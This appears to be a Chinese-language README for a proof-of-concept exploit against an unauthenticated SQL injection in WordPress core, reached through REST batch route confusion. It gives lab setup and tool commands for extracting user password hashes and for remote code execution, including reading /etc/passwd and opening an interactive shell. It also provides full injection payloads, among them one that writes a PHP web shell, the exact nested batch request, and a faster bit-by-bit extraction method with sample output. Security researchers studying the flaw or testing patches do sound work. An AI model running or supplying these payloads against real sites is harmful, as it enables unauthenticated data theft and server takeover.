针对 CVE-2026-63030 + CVE-2026-60137 的教育性 PoC 与实验环境:WordPress 核心中通过 REST 批处理路由混淆实现的不需要认证的 SQL 注入。
由 Adam Kues(Searchlight Cyber / Assetnote)发现。已在 WordPress 6.9.5 / 7.0.2 中修复。
# 启动漏洞实验环境
cd docker && ./setup.sh
cd ..
# 检测
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# 提取数据(快速模式,默认)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# 提取数据(盲注模式,用于对比)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# 自定义 SQL 查询
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE(需要 FILE 权限,实验环境已授予)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # 交互式 shell
# 通过 Burp 代理
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# 关闭环境
cd docker && ./setup.sh down
POST /wp-json/batch/v1 将多个 REST API 调用打包到一个 HTTP 请求中。它自身没有认证检查,安全性委托给每个子请求的权限回调函数。
serve_batch_request_v1() 构建了两个并行数组:
$matches[] 跟踪每个子请求应该分派给哪个处理器$validation[] 跟踪每个子请求是否通过验证在分派时,它使用相同的偏移量索引这两个数组。漏洞在于:当某个子请求的路径在 wp_parse_url() 中失败时,会将一个 WP_Error 推入 $validation,但不会推入 $matches。这导致 $matches 偏移了一个位置,因此后续每个子请求都会被分派给错误的处理器。
这个不同步被利用了两次。
外层批处理。 一个携带内层批处理作为请求体的 /wp/v2/posts 请求,被分派给了批处理处理器(自我调用)。它被验证为 posts 请求,因此内部的 requests 数组从未被对照批处理模式检查。这绕过了方法白名单,允许内层子请求使用 GET。
内层批处理。 一个携带 /wp/v2/categories?author_exclude=<SQLI> 的请求被分派给了 posts 的 get_items()。categories 模式未定义 author_exclude,因此它未经修改就通过了验证。但 posts 的 get_items() 将其映射到 WP_Query::author__not_in,而该值被未经处理地直接插入到 SQL 中。
易受攻击的 WP_Query 代码仅在 author__not_in 已经是数组时才进行清理:
// 修复前(易受攻击)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // 清理
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // 原始插值
字符串值完全绕过了 is_array() 检查。(array) 强制转换将其包装为数组,但未进行任何清理。
读取数据库(所有受影响站点均可):
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
布尔盲注判断:返回文章 = 真,空 = 假。逐字符二分搜索。
写入文件(需要 MySQL FILE 权限,WordPress 默认没有):
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
实际的 HTTP 请求:
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
数组如何错位:
serve_batch_request_v1() 在两个循环中处理子请求。第一个循环验证每个子请求并构建 $matches[] 和 $validation[]。第二个循环使用 $matches[$i] 作为处理器来分派每个子请求。由于第一个请求的错误未出现在 $matches 中,第二个循环将每个请求与错误的处理器配对。
POST /?rest_route=/batch/v1 (匿名,无需认证)
|
v
你发送的请求
+--------------------------------------------------------------+
| |
| 循环 1(校验): |
| [0] "http://" -> wp_parse_url 失败 |
| [1] POST /wp/v2/posts -> 匹配:posts_handler |
| [2] POST /batch/v1 -> 匹配:batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| $matches 中跳过了 error |
| |
| 循环 2(分派): |
| i=0: error -> 跳过 |
| i=1: POST /posts 使用 $matches[1] = batch_handler |
| -> posts 的请求体作为嵌套批处理执行 |
| i=2: POST /batch 使用 $matches[2] = 越界 |
| |
+--------------------------------------------------------------+
|
v
嵌套批处理(serve_batch_request_v1 对上述请求体自我调用)
+--------------------------------------------------------------+
| |
| 循环 1(校验): |
| [0] "http://" -> wp_parse_url 失败 |
| [1] POST /categories -> 匹配:categories_handler |
| [2] GET /wp/v2/posts -> 匹配:posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| 循环 2(分派): |
| i=0: error -> 跳过 |
| i=1: POST /categories 使用 $matches[1] = posts_handler |
| -> categories 请求由 posts 的 get_items() 处理 |
| -> author_exclude 不在 categories 模式中,未经清理 |
| -> posts 将其映射到 WP_Query::author__not_in |
| -> SQL 注入 |
| |
+--------------------------------------------------------------+
现有的 PoC 使用盲布尔注入:每个 HTTP 请求只能获取 1 比特,一个密码哈希大约需要 224 个请求。本仓库结合两种技术实现了约 75 倍的提取速度提升。
X-WP-Total 预言机。 WordPress 在文章查询中添加了 SQL_CALC_FOUND_ROWS,并将计数放在 X-WP-Total 响应头中。UNION 行在 SQL 层面被计数,即使 PHP 会将其从响应体中过滤掉。条件 UNION 可以编码单个比特:
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- 比特 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- 比特 1
... -- 比特 2-6
-- -
X-WP-Total = 0 表示比特未设置,= 1 表示比特已设置。7 次探测即可获得一个完整的 ASCII 字符。
无限内层批处理。 外层批处理通过其模式限制了 maxItems: 25。路由混淆绕过了此限制:内层批处理递归执行且没有大小检查。多个字符的所有 7 个比特探测可以打包到同一个请求中。
16 个字符 × 7 比特 = 每个请求 112 次探测。一个 34 字符的 phpass 哈希只需约 3 个请求,而不是约 224 个。
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] 使用盲布尔预言机(二分搜索,每个请求 1 比特)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 已发送 198 个请求
$ python3 -m exploit extract http://target --preset fingerprint
[*] 使用 X-WP-Total 位掩码预言机(每个请求 16 个字符)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 已发送 3 个请求
仅限授权的安全测试和教育用途。请务必仅在您拥有或获得明确书面许可的系统上使用。